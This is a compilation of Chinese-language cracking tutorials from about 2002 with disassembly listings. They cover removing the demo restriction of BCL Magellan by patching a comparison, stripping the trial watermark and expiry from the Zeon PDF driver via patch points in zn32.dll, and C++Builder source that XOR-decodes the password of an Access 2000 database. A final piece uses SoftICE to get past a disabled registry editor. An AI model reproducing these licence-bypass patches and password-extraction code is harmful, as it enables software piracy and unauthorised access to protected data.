:10005057 68B0CC0710 push 1007CCB0
:1000505C 53 push ebx
:1000505D E859390300 call 100389BB
:10005062 8B9684110000 mov edx, dword ptr [esi+00001184]
:10005068 8B8698110000 mov eax, dword ptr [esi+00001198]
:1000506E 8BBE80110000 mov edi, dword ptr [esi+00001180]
:10005074 03D0 add edx, eax
:10005076 03FA add edi, edx
:10005078 8BC7 mov eax, edi
:1000507A 89BE80110000 mov dword ptr [esi+00001180], edi
:10005080 50 push eax

* Possible StringData Ref from Data Obj ->"top:%dpx;"
|
:10005081 68A4CC0710 push 1007CCA4
:10005086 53 push ebx
:10005087 E82F390300 call 100389BB
:1000508C 8B8688110000 mov eax, dword ptr [esi+00001188]
:10005092 50 push eax

* Possible StringData Ref from Data Obj ->"left:%dpx;"
|
:10005093 6898CC0710 push 1007CC98
:10005098 53 push ebx
:10005099 E81D390300 call 100389BB
:1000509E 8B8E8C110000 mov ecx, dword ptr [esi+0000118C]
:100050A4 83C448 add esp, 00000048
:100050A7 51 push ecx

* Possible StringData Ref from Data Obj ->"height:%dpx;"
|
:100050A8 6888CC0710 push 1007CC88
:100050AD 53 push ebx
:100050AE E808390300 call 100389BB
:100050B3 8B9690110000 mov edx, dword ptr [esi+00001190]
:100050B9 52 push edx

* Possible StringData Ref from Data Obj ->"width:%dpx;"
|
:100050BA 687CCC0710 push 1007CC7C
:100050BF 53 push ebx
:100050C0 E8F6380300 call 100389BB

* Possible StringData Ref from Data Obj ->"}
"
|
:100050C5 6878CC0710 push 1007CC78
:100050CA 53 push ebx
:100050CB E8EB380300 call 100389BB

* Possible StringData Ref from Data Obj ->"
"
|
:100050D0 6874CC0710 push 1007CC74
:100050D5 53 push ebx
:100050D6 E8E0380300 call 100389BB

* Possible StringData Ref from Data Obj ->"/* text positioning information "
->"*/
"^^^^^^^^^^^^^^^^^^^^^^^^^^^---->不用多说
|
:100050DB 6850CC0710 push 1007CC50
:100050E0 53 push ebx
:100050E1 E8D5380300 call 100389BB
:100050E6 83C430 add esp, 00000030
:100050E9 C745E000000000 mov [ebp-20], 00000000
:100050F0 BFD4FEFFFF mov edi, FFFFFED4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000517A(C)
|
:100050F5 8B45E0 mov eax, dword ptr [ebp-20]
:100050F8 8B4DEC mov ecx, dword ptr [ebp-14]
:100050FB 50 push eax
:100050FC 51 push ecx

* Possible StringData Ref from Data Obj ->".ps%dp%d{"
|
:100050FD 6844CC0710 push 1007CC44
:10005102 53 push ebx
:10005103 E8B3380300 call 100389BB

* Possible StringData Ref from Data Obj ->"absolute"
|
:10005108 68C0CC0710 push 1007CCC0

* Possible StringData Ref from Data Obj ->"position:%s;"
|
:1000510D 68B0CC0710 push 1007CCB0
:10005112 53 push ebx
:10005113 E8A3380300 call 100389BB
:10005118 8B9694110000 mov edx, dword ptr [esi+00001194]
:1000511E 8B8680110000 mov eax, dword ptr [esi+00001180]
:10005124 03D0 add edx, eax
:10005126 03D7 add edx, edi
:10005128 52 push edx

* Possible StringData Ref from Data Obj ->"top:%dpx;"
|
:10005129 68A4CC0710 push 1007CCA4
:1000512E 53 push ebx
:1000512F E887380300 call 100389BB
:10005134 68C8000000 push 000000C8

* Possible StringData Ref from Data Obj ->"left:%dpx;"
|
:10005139 6898CC0710 push 1007CC98
:1000513E 53 push ebx
:1000513F E877380300 call 100389BB
:10005144 6890010000 push 00000190

* Possible StringData Ref from Data Obj ->"width:%dpx;"
|
:10005149 687CCC0710 push 1007CC7C
:1000514E 53 push ebx
:1000514F E867380300 call 100389BB
:10005154 83C440 add esp, 00000040

* Possible StringData Ref from Data Obj ->"}}"
|
:10005157 6840CC0710 push 1007CC40

* Possible StringData Ref from Data Obj ->"%s

"
|
:1000515C 6838CC0710 push 1007CC38
:10005161 53 push ebx
:10005162 E854380300 call 100389BB
:10005167 8B55E0 mov edx, dword ptr [ebp-20]
:1000516A 83C40C add esp, 0000000C
:1000516D 83C71E add edi, 0000001E
:10005170 42 inc edx
:10005171 81FF10FFFFFF cmp edi, FFFFFF10
:10005177 8955E0 mov dword ptr [ebp-20], edx
:1000517A 0F8C75FFFFFF jl 100050F5

* Possible StringData Ref from Data Obj ->"-->
</STYLE>
<BODY>
"
|
:10005180 6820CC0710 push 1007CC20

* Possible StringData Ref from Data Obj ->"%s"
|
:10005185 6844B10710 push 1007B144
:1000518A 53 push ebx
:1000518B E82B380300 call 100389BB
以后就内容，就已经产生:
-----------------------------------------------------浅黑色
This page is not extracted in demo version. ----->红色
--------------------------------------------------------------------------------
BCL --->2号大蓝字体
http://www.bcl-computers.com/--->蓝色的链接
--------------------------------------------------------------------------------
__________________________________________________________________________
* Possible StringData Ref from Data Obj ->"<!-- text starts here -->"
|
:10005190 6804CC0710 push 1007CC04

* Possible StringData Ref from Data Obj ->"%s

"
|
:10005195 6838CC0710 push 1007CC38
:1000519A 53 push ebx
:1000519B E81B380300 call 100389BB
:100051A0 8B7DEC mov edi, dword ptr [ebp-14]
:100051A3 6A00 push 00000000
:100051A5 57 push edi

* Possible StringData Ref from Data Obj ->"<SPAN class="ps%dp%d">"
|
:100051A6 68ECCB0710 push 1007CBEC
:100051AB 53 push ebx
:100051AC E80A380300 call 100389BB

* Possible StringData Ref from Data Obj ->"This "
->"page is not extracted in demo "
->"version."
|
:100051B1 6898CB0710 push 1007CB98
:100051B6 53 push ebx
:100051B7 E8FF370300 call 100389BB

* Possible StringData Ref from Data Obj ->"</SPAN>"
|
:100051BC 6890CB0710 push 1007CB90

* Possible StringData Ref from Data Obj ->"%s
"
|
:100051C1 68F8CC0710 push 1007CCF8
:100051C6 53 push ebx
:100051C7 E8EF370300 call 100389BB

* Possible Reference to String Resource ID=00001: "All"
|
:100051CC 6A01 push 00000001
:100051CE 57 push edi

* Possible StringData Ref from Data Obj ->"<SPAN class="ps%dp%d">"
|
:100051CF 68ECCB0710 push 1007CBEC
:100051D4 53 push ebx
:100051D5 E8E1370300 call 100389BB
:100051DA 83C44C add esp, 0000004C

* Possible StringData Ref from Data Obj ->"http://www.bcl-"
->"computers.com/"
|
:100051DD 684CCB0710 push 1007CB4C
:100051E2 53 push ebx
:100051E3 E8D3370300 call 100389BB

* Possible StringData Ref from Data Obj ->"</SPAN>"
|
:100051E8 6890CB0710 push 1007CB90

* Possible StringData Ref from Data Obj ->"%s
"
|
:100051ED 68F8CC0710 push 1007CCF8
:100051F2 53 push ebx
:100051F3 E8C3370300 call 100389BB
:100051F8 8B865C110000 mov eax, dword ptr [esi+0000115C]
:100051FE 83C414 add esp, 00000014
:10005201 3BF8 cmp edi, eax
:10005203 750E jne 10005213

* Possible StringData Ref from Data Obj ->"</BODY>

</HTML>
"
|
:10005205 6838CB0710 push 1007CB38
:1000520A 53 push ebx
:1000520B E8AB370300 call 100389BB
:10005210 83C408 add esp, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10005203(C)
|
:10005213 53 push ebx
:10005214 E825370300 call 1003893E
:10005219 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000501D(C)
|
:1000521C 8B7D10 mov edi, dword ptr [ebp+10]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10005277(U), :1000528D(U), :10005301(U), :1000534C(U), :10005384(U)
|
:1000521F 8B45DC mov eax, dword ptr [ebp-24]
:10005222 85C0 test eax, eax
:10005224 0F855F010000 jne 10005389
:1000522A 85FF test edi, edi
:1000522C 0F84EB010000 je 1000541D
:10005232 8B17 mov edx, dword ptr [edi]
:10005234 8BCF mov ecx, edi
:10005236 FF5250 call [edx+50]
:10005239 84C0 test al, al
:1000523B 0F85C9010000 jne 1000540A
:10005241 8B07 mov eax, dword ptr [edi]
:10005243 8BCF mov ecx, edi
:10005245 8945E0 mov dword ptr [ebp-20], eax
:10005248 FF5044 call [eax+44]
:1000524B 48 dec eax
:1000524C 8BCF mov ecx, edi
:1000524E 50 push eax
:1000524F 8B45E0 mov eax, dword ptr [ebp-20]
:10005252 FF5040 call [eax+40]
:10005255 E9B0010000 jmp 1000540A

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:10004CEE(C), :10004CFD(C)
|
:1000525A 83BE4411000004 cmp dword ptr [esi+00001144], 00000004
:10005261 7416 je 10005279
:10005263 8B45EC mov eax, dword ptr [ebp-14]
:10005266 50 push eax
:10005267 56 push esi
:10005268 E883040000 call 100056F0
:1000526D 83C408 add esp, 00000008
:10005270 C745DC00000000 mov [ebp-24], 00000000
:10005277 EBA6 jmp 1000521F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10005261(C)
|
:10005279 8B4DEC mov ecx, dword ptr [ebp-14]
:1000527C 51 push ecx
:1000527D 56 push esi
:1000527E 8D4DD4 lea ecx, dword ptr [ebp-2C]
:10005281 E83AD7FFFF call 100029C0
:10005286 C745DC00000000 mov [ebp-24], 00000000
:1000528D EB90 jmp 1000521F
____________________________________________________________________________
作者也太小心眼了，又要玩Game!一不小心就game over!^_^
----------------------------------------------------------------------------
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004CE0(C)---->返回看一下！★
|
:1000528F A1286A0810 mov eax, dword ptr [10086A28]
:10005294 8D956CFFFFFF lea edx, dword ptr [ebp+FFFFFF6C]
:1000529A 68B0D10010 push 1000D1B0
:1000529F 52 push edx
:100052A0 FF5008 call [eax+08]
:100052A3 8D8D6CFFFFFF lea ecx, dword ptr [ebp+FFFFFF6C]
:100052A9 68D8360710 push 100736D8
:100052AE 8B55FC mov edx, dword ptr [ebp-04]
:100052B1 52 push edx
:100052B2 68AE830310 push 100383AE

* Possible Reference to String Resource ID=00003: "Selected Pages"
| ^^^^^^^^^^^^^^^^------->搜索页面
:100052B7 6A03 push 00000003 到这里才是正常生成html,所以向上看。
:100052B9 51 push ecx
:100052BA E845390300 call 10038C04
:100052BF 8B7D10 mov edi, dword ptr [ebp+10]
:100052C2 83C41C add esp, 0000001C
:100052C5 85C0 test eax, eax
:100052C7 0F8584000000 jne 10005351
:100052CD 8B750C mov esi, dword ptr [ebp+0C]
:100052D0 83BE4411000004 cmp dword ptr [esi+00001144], 00000004
:100052D7 742D je 10005306
:100052D9 8B45EC mov eax, dword ptr [ebp-14]
:100052DC 8B4D08 mov ecx, dword ptr [ebp+08]
:100052DF 56 push esi
:100052E0 50 push eax
:100052E1 51 push ecx
:100052E2 E8D9420000 call 100095C0
:100052E7 8945DC mov dword ptr [ebp-24], eax
:100052EA A1286A0810 mov eax, dword ptr [10086A28]
:100052EF 83C40C add esp, 0000000C
:100052F2 FF500C call [eax+0C]
:100052F5 8B45CC mov eax, dword ptr [ebp-34]
:100052F8 8B5DC4 mov ebx, dword ptr [ebp-3C]
:100052FB 83C002 add eax, 00000002
:100052FE 8945CC mov dword ptr [ebp-34], eax
:10005301 E919FFFFFF jmp 1000521F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100052D7(C)
|
:10005306 8D4DD4 lea ecx, dword ptr [ebp-2C]
:10005309 E8B2D5FFFF call 100028C0
:1000530E 8B4D08 mov ecx, dword ptr [ebp+08]
:10005311 50 push eax
:10005312 8B45EC mov eax, dword ptr [ebp-14]
:10005315 8D9524F6FFFF lea edx, dword ptr [ebp+FFFFF624]
:1000531B 52 push edx
:1000531C 8B1518690810 mov edx, dword ptr [10086918]
:10005322 50 push eax
:10005323 51 push ecx
:10005324 FF5210 call [edx+10]
:10005327 83C410 add esp, 00000010
:1000532A 8945DC mov dword ptr [ebp-24], eax
:1000532D 85C0 test eax, eax
:1000532F 7407 je 10005338

* Possible Reference to String Resource ID=00013: "BCL Magellan Online Guide"
|
:10005331 C745DC0D000000 mov [ebp-24], 0000000D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000532F(C)
|
:10005338 A1286A0810 mov eax, dword ptr [10086A28]
:1000533D FF500C call [eax+0C]
:10005340 8B45CC mov eax, dword ptr [ebp-34]
:10005343 8B5DC4 mov ebx, dword ptr [ebp-3C]
:10005346 83C002 add eax, 00000002
:10005349 8945CC mov dword ptr [ebp-34], eax
:1000534C E9CEFEFFFF jmp 1000521F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100052C7(C)
|
:10005351 8B0D286A0810 mov ecx, dword ptr [10086A28]
:10005357 FF510C call [ecx+0C]
:1000535A 8B750C mov esi, dword ptr [ebp+0C]

* Possible Reference to String Resource ID=00013: "BCL Magellan Online Guide"
|
:1000535D C745DC0D000000 mov [ebp-24], 0000000D
:10005364 85FF test edi, edi
:10005366 8B965C110000 mov edx, dword ptr [esi+0000115C]
:1000536C 8955EC mov dword ptr [ebp-14], edx
:1000536F 7407 je 10005378
:10005371 8B07 mov eax, dword ptr [edi]
:10005373 8BCF mov ecx, edi
:10005375 FF504C call [eax+4C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000536F(C)
|
:10005378 8B45CC mov eax, dword ptr [ebp-34]
:1000537B 8B5DC4 mov ebx, dword ptr [ebp-3C]
:1000537E 83C002 add eax, 00000002
:10005381 8945CC mov dword ptr [ebp-34], eax
:10005384 E996FEFFFF jmp 1000521F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10005224(C)
|
:10005389 85FF test edi, edi
:1000538B 7439 je 100053C6
:1000538D 8B07 mov eax, dword ptr [edi]
:1000538F 8BCF mov ecx, edi
:10005391 8945E0 mov dword ptr [ebp-20], eax
:10005394 FF5044 call [eax+44]
:10005397 8B55E0 mov edx, dword ptr [ebp-20]
:1000539A 48 dec eax
:1000539B 50 push eax
:1000539C 8BCF mov ecx, edi
:1000539E FF5240 call [edx+40]
:100053A1 51 push ecx
:100053A2 8B4DDC mov ecx, dword ptr [ebp-24]
:100053A5 8BC4 mov eax, esp
:100053A7 8965B0 mov dword ptr [ebp-50], esp
:100053AA 51 push ecx
:100053AB 50 push eax
:100053AC E8FF0E0000 call 100062B0
:100053B1 8B865C110000 mov eax, dword ptr [esi+0000115C]
:100053B7 8B4DEC mov ecx, dword ptr [ebp-14]
:100053BA 8B17 mov edx, dword ptr [edi]
:100053BC 83C408 add esp, 00000008
:100053BF 50 push eax
:100053C0 51 push ecx
:100053C1 8BCF mov ecx, edi
:100053C3 FF5248 call [edx+48]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000538B(C)
|
:100053C6 8B451C mov eax, dword ptr [ebp+1C]
:100053C9 85C0 test eax, eax
:100053CB 743D je 1000540A
:100053CD 8A45EB mov al, byte ptr [ebp-15]
:100053D0 84C0 test al, al
:100053D2 751C jne 100053F0
:100053D4 8B451C mov eax, dword ptr [ebp+1C]
:100053D7 8D9618040000 lea edx, dword ptr [esi+00000418]
:100053DD 52 push edx

* Possible StringData Ref from Data Obj ->"FILE: %s
"
|
:100053DE 6814CB0710 push 1007CB14
:100053E3 50 push eax
:100053E4 E8D2350300 call 100389BB
:100053E9 83C40C add esp, 0000000C
:100053EC C645EB01 mov [ebp-15], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100053D2(C)
|
:100053F0 8B55EC mov edx, dword ptr [ebp-14]
:100053F3 8B4DF0 mov ecx, dword ptr [ebp-10]
:100053F6 8B451C mov eax, dword ptr [ebp+1C]
:100053F9 42 inc edx
:100053FA 51 push ecx
:100053FB 52 push edx

* Possible StringData Ref from Data Obj ->"PAGE: %d
%s
"
|
:100053FC 6804CB0710 push 1007CB04
:10005401 50 push eax
:10005402 E8B4350300 call 100389BB
:10005407 83C410 add esp, 00000010

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1000523B(C), :10005255(U), :100053CB(C)
|
:1000540A 85FF test edi, edi
:1000540C 740F je 1000541D
:1000540E 8B45D0 mov eax, dword ptr [ebp-30]
:10005411 8B17 mov edx, dword ptr [edi]
:10005413 40 inc eax
:10005414 8BCF mov ecx, edi
:10005416 50 push eax
:10005417 8945D0 mov dword ptr [ebp-30], eax
:1000541A FF5228 call [edx+28]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1000522C(C), :1000540C(C)
|
:1000541D 8B45EC mov eax, dword ptr [ebp-14]
:10005420 8B8E5C110000 mov ecx, dword ptr [esi+0000115C]
:10005426 40 inc eax
:10005427 3BC1 cmp eax, ecx
:10005429 8945EC mov dword ptr [ebp-14], eax
:1000542C 0F8EDCF7FFFF jle 10004C0E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10004C02(C)
|
:10005432 8D4DD4 lea ecx, dword ptr [ebp-2C]
:10005435 C645FC01 mov [ebp-04], 01
:10005439 E872D4FFFF call 100028B0
:1000543E 8D4DE4 lea ecx, dword ptr [ebp-1C]
:10005441 C645FC00 mov [ebp-04], 00
:10005445 E8C3580500 call 1005AD0D
:1000544A 8D4DF0 lea ecx, dword ptr [ebp-10]
:1000544D C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:10005454 E8B4580500 call 1005AD0D
:10005459 B001 mov al, 01
:1000545B 8B4DF4 mov ecx, dword ptr [ebp-0C]
:1000545E 64890D00000000 mov dword ptr fs:[00000000], ecx
:10005465 5F pop edi
:10005466 5E pop esi
:10005467 5B pop ebx
:10005468 8BE5 mov esp, ebp
:1000546A 5D pop ebp
:1000546B C3 ret
------------------------------------------------------------------------------------------------
难怪RU，叫我遇到不常破解一定要分析流程。运行的是，这里都有易懂html命令。*^_^*
最后总结几种破解思路:
1.掷石问路法:This page is not extracted in demo version.
直接找这此内容，不过win32asm在搜索只能看前顾后。
This or This page[前]
demo version[后]
找到之后要向上分析。

2.功能分析法: 它功能是pdf to html
所以着重放在html中！
在win32asm字串窗找到:
方法一：
"<!-- text starts here -->
"-->此处到正常状态!
:1000B304 682CD50710 push 1007D52C
"<!-- text starts here -->"--->关键就是这里了!
:10004F82 6804CC0710 push 1007CC04-->从程序运行角度，就要在这里开始向上分析
:10005190 6804CC0710 push 1007CC04
方法二：

"<HTML>
<HEAD><TITLE>Blank Page</TITLE></HEAD>
"
:10005875 682CCF0710 push 1007CF2C--同理，向上看
:10005926 682CCF0710 push 1007CF2C

3.逻辑分析法:从逻辑推角度，它应该在处理进程就有一致命判断。
处理[Processing]

String Resource ID=00049: "Processing Page %d of %d..."
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
跳到好几处，不是好方法。再找一个比较好的:
"Page %d of %d - Magellan"
^^^^^^^^^---->咦！标志这么明白？不管了有前无后打死就算!:)

* Possible StringData Ref from Data Obj ->"Page %d of %d - Magellan"
|
:10004CB0 6824CD0710 push 1007CD24
:10004CB5 50 push eax
只有一个好地方!
上面就是Processing Page %d of %d...下面不久就是This page is not extracted in demo version.
最好关键是::10004CE0 0F84A9050000 je 1000528F
是否跳？而且这值，就要看:10004CDD D95DBC fstp dword ptr [ebp-44]
这个值又取决于::10004CDB 3BC1 cmp eax, ecx
所以试一下把修改为:cmp eax,eax
果然成功。
最后方法：就是关羽单枪负会，直接了当！
很久没有写教程，打手软！谁掷东西？什么来的？不好了，嗅鸡蛋！当场嗅晕！!@#$% *_*
师傅绝招，闪啊！^_^
2002-2-18 晚上11:30分钟


棣南文电通（简体中文4.80）

 标 题:胡乱说说pj棣南文电通（简体中文4.80） -:) (7千字)
发信人:henryw
时 间:2002-2-2 13:00:18
详细信息:
软件名称：棣南文电通（简体中文4.80）
下载：www.zeon.com.tw
工具：Dasm, softice, regmon, filemon

几个月没破解了，此次放假，看到这个软件不错，就试着破了一下。不过刚开始解的是5.0英文版，回来再看4.80的中文版就不太认真了，可能会有错误之处。

不知道诸位有没有想过自己做pdf文档。当然，使用adobe的pdf driver非常正宗，不过，不容易找到它。还有很多其他的用来做pdf的驱动，比如easy pdf之类的，说是苗条，可也在3兆左右。还有一点就是这些驱动很少支持中文。其实只有这个台湾人开发的pdf驱动最最苗条，不到2兆，自然也能支持我们的简体汉字。只要在word中写好东东，不管是不是带表格或者图片，或者文字颜色，转换一下，就成了pdf文件了，非常不错，至少我如此认为。

闲言少叙，进入正题。

下载软件的时候可以看到它说的注册方法。大意是说注册后有个启动全部功能的程序会发给你，给人的感觉好像是个打开交验的补丁。观察一下，每次打印的时候，会跳出一个对话框，告诉你现在你用的是trial版本，来买正式版吧，不然给你颜色看。果然，每个打印出来的文件都有水印，不忘提醒你现在是trial version和网站地址。好了，来试着去掉水印吧。

经过filemon查找，发现程序需要pdfdrv95.drv, zn32.dll, znsl.dll等文件，这是三个破解时较重要的文件。全部反汇编。pdfdrv95.drv是个NE的文件，我这等菜鸟脑袋开始有些大了。看看znsl.dll文件里面，有个注册表的东东很有意思，local\software\zeon\znsl，管他呢，先写到注册表里面再说。

<== 第一部分：去掉水印 ==>
--------------------------

然后经过多次试验，发现zn32.dll中个输出函数MyGetSecurity可以在提醒窗体前被拦住:
(拦不住可能和没有在注册表中写入local\software\zeon\znsl有关?)
======================================================
Exported fn(): MyGetSecurity - Ord:0027h <----- (zn32.dll)
:1000AB90 55 push ebp
:1000AB91 8BEC mov ebp, esp
...
...
...
* Reference To: KERNEL32.GetProcAddress, Ord:0153h
|
:1000ABE3 FF1550D30510 Call dword ptr [1005D350]
:1000ABE9 8985F8FEFFFF mov dword ptr [ebp+FFFFFEF8], eax
:1000ABEF 6820700710 push 10077020
:1000ABF4 E827030000 call 1000AF20
:1000ABF9 83C404 add esp, 00000004
:1000ABFC 85C0 test eax, eax
:1000ABFE 7417 je 1000AC17
:1000AC00 8D8510FEFFFF lea eax, dword ptr [ebp+FFFFFE10]
:1000AC06 50 push eax
:1000AC07 6820700710 push 10077020
:1000AC0C FF95F8FEFFFF call dword ptr [ebp+FFFFFEF8] <--- 调用znsl.dll中的CheckBuy函数。
:1000AC12 83C408 add esp, 00000008
:1000AC15 EB1B jmp 1000AC32

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000ABFE(C)
|
:1000AC17 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FFFFFEFC]
:1000AC1D 51 push ecx

* Reference To: KERNEL32.FreeLibrary, Ord:00C3h
|
:1000AC1E FF15D8D10510 Call dword ptr [1005D1D8]
:1000AC24 8B5514 mov edx, dword ptr [ebp+14]
:1000AC27 C70201000000 mov dword ptr [edx], 00000001 <--- 确定dx的值，想没有水印必须为0，edx+2的地方必须为1。
:1000AC2D E9AC000000 jmp 1000ACDE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000AC15(U)
|
:1000AC32 8B85FCFEFFFF mov eax, dword ptr [ebp+FFFFFEFC]
:1000AC38 50 push eax

* Reference To: KERNEL32.FreeLibrary, Ord:00C3h
|
:1000AC39 FF15D8D10510 Call dword ptr [1005D1D8]
...
...
...
:1000ACD6 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:01C3h
|
:1000ACD8 FF15E4D40510 Call dword ptr [1005D4E4]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:1000AC2D(U), :1000AC79(U), :1000AC84(U), :1000AC8F(U), :1000AC9A(U)
|:1000ACA5(U), :1000ACB0(U), :1000ACBB(U), :1000ACC6(U), :1000ACC8(U)
|
:1000ACDE 5F pop edi
:1000ACDF 5E pop esi
:1000ACE0 5B pop ebx
:1000ACE1 8BE5 mov esp, ebp
:1000ACE3 5D pop ebp
:1000ACE4 C21000 ret 0010
=============================================================
这是上面函数返回后的代码：(pdfdrv95.drv)
============================================================
:0004.615F EB13 jmp 6174 <--- 返回这里

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0004.6136(C)
|
:0004.6161 6A00 push 0000
:0004.6163 1E push ds
:0004.6164 FF36AC17 push word ptr [17AC]
:0004.6168 1E push ds
:0004.6169 FF36B417 push word ptr [17B4]
:0004.616D 6A00 push 0000
:0004.616F 9A48620000 call USER.MESSAGEBOX

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0004.615F(U)
|
:0004.6174 8B46F6 mov ax, [bp-0A] <---- 确定ax的值，必须为0.
:0004.6177 A38E17 mov word ptr [178E], ax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0004.610A(U), :0004.6116(U)
|
:0004.617A 8D66FE lea sp, [bp-02]
:0004.617D 1F pop ds
:0004.617E 5D pop bp
:0004.617F 4D dec bp
:0004.6180 CB retf
====================================================================
这是是上述函数返回的地方。(pdfdrv95.drv)
===================================================================
:0006.0468 9AAA618E04 call 0004.61AA
:0006.046D 8946FA mov [bp-06], ax <------ 返回这里。ax必需为0，和前面dll中的值相对应。
:0006.0470 8956FC mov [bp-04], dx <--------------- dx必需为1，
:0006.0473 68B704 push SEG ADDR of Segment 0041
:0006.0476 685E05 push 055E
:0006.0479 1E push ds
======================================================================
这样的话程序认为已经注册，trial水印便没有了。但这仅限于编辑软件启动后没有更换壁纸的打印，如果临时更换的话，可能会有些问题，所以，需要注意的是找到合适的相对位置，写入自己的代码。

改法就不多写了，我是在zn32.dll文件1000AC27处写入自己的代码，使得edx和edx+2处设置正确值。

现在还有过期问题：
===================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0004.61EB(U)
|
:0004.61DD 99 cwd
:0004.61DE E9D000 jmp 62B1

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0004.61C1(C), :0004.61CC(C), :0004.61D8(C)
|
:0004.61E1 833E8E177F cmp word ptr [178E], 007F
:0004.61E6 7405 je 61ED <----- 这里必须跳，才能不过期。
:0004.61E8 A18E17 mov ax, word ptr [178E]
:0004.61EB EBF0 jmp 61DD

对于那个checkbuy的东东，好像注册的内容是以blowfish加密的，俺知难而退，哪位大侠有兴趣帮着看看。

不管是5.0英文版还是4.80中文版，[bp-0A]和[bp-08]处的值和zn32.dll的GetMySecurity函数需要注意，就不难破解了。看到国外有4.80的破解patch，不过是给英文版的，所以不知道它补丁的是哪些文件，或许只有pdfdrv95.drv一个，不过由于我对ne的东东实在不了解，不敢在里面妄动，还是改改32位的dll比较容易。


ACCESS2000数据库文件密码的提取

标 题:ACCESS2000数据库文件密码的提取(源程序c++builder5)
发信人 dola1234
时 间:2002/01/30 11:52am
详细信息:

#include <vcl.h>
#pragma hdrstop

#include "dolACCESS.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
Tform1 *form1;
//---------------------------------------------------------------------------
__fastcall Tform1::Tform1(TComponent* Owner)
: Tform(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall Tform1::SpeedButton1Click(TObject *Sender)
{
if( OpenDialog1->Execute())
edtFileName->Text=OpenDialog1->FileName;
else
Application->MessageBoxA("没有选定有效的文件名！","消息",IDOK);

}
//---------------------------------------------------------------------------
void __fastcall Tform1::Button1Click(TObject *Sender)
{
int iFileHandle;
int iByteRead;
int i,j;
char *pszBuffer;
char Code[0x27]={0x10,0xEC,0xCB,0x9C,0x50,0x28,0x85,0x8A,0xC2,0x7B,
0x63,0xDF,0xE1,0x13,0x59,0xB1,0xA2,0x79,0x04,0x7C};
if(edtFileName->Text.Length()!=0)
{
try
{
iFileHandle=FileOpen(edtFileName->Text,fmOpenRead);
FileSeek(iFileHandle,0x42,0);
pszBuffer=new char[0x27];
iByteRead=FileRead(iFileHandle,pszBuffer,0x27);
FileClose(iFileHandle);
i=iByteRead/2;
for(j=0;j<=i;j++)
{
Code[j]=Code[j]^pszBuffer[2*j];
}
delete [] pszBuffer;
edtPassword->Text=Code;
if(edtPassword->Text.Length()==0)
edtPassword->Text="此数据库未设置密码!";
}
catch(const Exception& e)
{
Application->MessageBoxA("读取文件错误!!!","错误!",IDOK);
}
}
else
{
Application->MessageBoxA("没有输入有效的文件名","注意!",IDOK);
}
}
//---------------------------------------------------------------------------


禁用注册表破解

 标 题:禁用注册表之暴力破解法。 (4千字)
发信人:金文丰
时 间:2001-10-14 11:53:21
详细信息:
不知各位有没有浏览过恶意网站,有没有被禁用注册表编缉器,如果你被禁用的话,你可以用许多法恢复.那你有没有试过用破解的方法呢?下面是我的破解方法:
运行注册表编缉器(regedit.exe),弹出禁用注册表的信息,按Ctrl+D进入ICE，输入命令HWND，看到这些东东：
Window Handle hQueue SZ QOwner Class Name Window Procedure
0080(0) 206F 32 MSGSRV32 #32769 (Desktop) 1787:00005F92
03D8(1) 220F 32 EXPLORER BaseBar 136F:0000028A
03DC(2) 220F 32 EXPLORER MenuSite 136F:0000028A
0420(3) 220F 32 EXPLORER SysPager 136F:00000140
0424(4) 220F 32 EXPLORER ToolbarWindow32 136F:000002B6
03B0(1) 220F 32 EXPLORER BaseBar 136F:0000028A
03B4(2) 220F 32 EXPLORER MenuSite 136F:0000028A
略去一些
0540(1) 410F 32 　REGEDIT IME 175F:00000000
053C(1) 410F 32 REGEDIT #32770 (Dialog) 175F:00007720
0544(2) 410F 32 REGEDIT Button 175F:000035CC　；注意
0548(2) 410F 32 REGEDIT Static 175F:0000828E
054C(2) 410F 32 REGEDIT Static 175F:0000828E
看到REGEDIT　Buton 所对应的Window Handle为　544。
输入命令　bmsg 544 wm_lbuttonup　　（544这个数字是不确定的，所以要用HWND来查看）
这个命令的意思是当放开鼠标左键的消息传到Button时引发中断。
退出ICE，用鼠标按确定键后引发中断，再按F12键n次后，来到这里
017F:0040CD11 57 PUSH EDI
017F:0040CD12 52 PUSH EDX
017F:0040CD13 57 PUSH EDI
017F:0040CD14 57 PUSH EDI
017F:0040CD15 51 PUSH ECX
017F:0040CD16 6800050000 PUSH 00000500
017F:0040CD1B FF150C954100 CALL [0041950C]
017F:0040CD21 897DF8 MOV [EBP-08],EDI
017F:0040CD24 85C0 TEST EAX,EAX
017F:0040CD26 742A JZ 0040CD52
017F:0040CD28 397DFC CMP [EBP-04],EDI
017F:0040CD2B 7425 JZ 0040CD52
017F:0040CD2D 8B4518 MOV EAX,[EBP+18]
